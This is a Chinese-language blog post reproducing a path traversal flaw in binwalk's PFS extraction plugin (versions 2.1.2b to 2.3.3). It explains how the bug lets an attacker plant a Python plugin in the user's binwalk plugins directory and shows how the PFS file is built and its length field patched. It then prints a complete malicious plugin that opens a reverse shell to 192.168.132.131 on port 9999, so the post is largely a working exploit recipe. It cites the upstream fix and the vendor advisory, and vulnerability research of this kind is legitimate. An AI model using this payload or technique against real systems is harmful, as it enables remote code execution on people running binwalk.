前两天在玄武实验室的日推里看到的,复现一下
简介
在 binwalk 中有一个提取 PFS 文件的插件,一般在嵌入式设备中涉及这种文件格式,但是它在提取文件的时候,路径取的有问题,会导致路径穿越,把文件写到任意的地方
效果
配合 binwalk 可以在 ~/.config/binwalk/plugins 目录自定义插件运行的特性,通过路径穿越把 python 脚本写在这里,基本能执行任意的命令(毕竟 python 可以 os.system)
局限
因为不知道目标的目录结构,可能没法准确的放到那个目录,可以考虑其他利用方式,参考文章有提到
影响范围
2.1.2b 到 2.3.3
复现过程
在官方仓库的 release 界面找到一个在漏洞范围内的下载下来,比如 2.3.3,然后解压出来放在一台 ubuntu 上,进入目录,python setup.py install 安装一下,poc 这里有:
https://github.com/ReFirmLabs/binwalk/pull/617
在 ~ 目录下使用 binwalk -Me poc.zip 看一下是不是有效果
接下来看一下 POC 是怎么构成的,压缩包里面有个 pfs 文件
直接解压出来看看,前面是文件头加路径,后面是文件内容,经过尝试文件内容前面的 C1 就是文件内容长度
接下来保持前面不变,我们自己写个 python 脚本放在 PFS 文件中,并且把长度改一下,然后保存成一个压缩包
import binwalk.core.plugin
import socket,subprocess,os,pty
class MaliciousExtractor(binwalk.core.plugin.Plugin):
def init(self):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.132.131",9999))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("sh")
binwalk -Me malicious.zip 然后 RCE!
参考:
https://github.com/ReFirmLabs/binwalk/pull/617
https://onekey.com/blog/security-advisory-remote-command-execution-in-binwalk/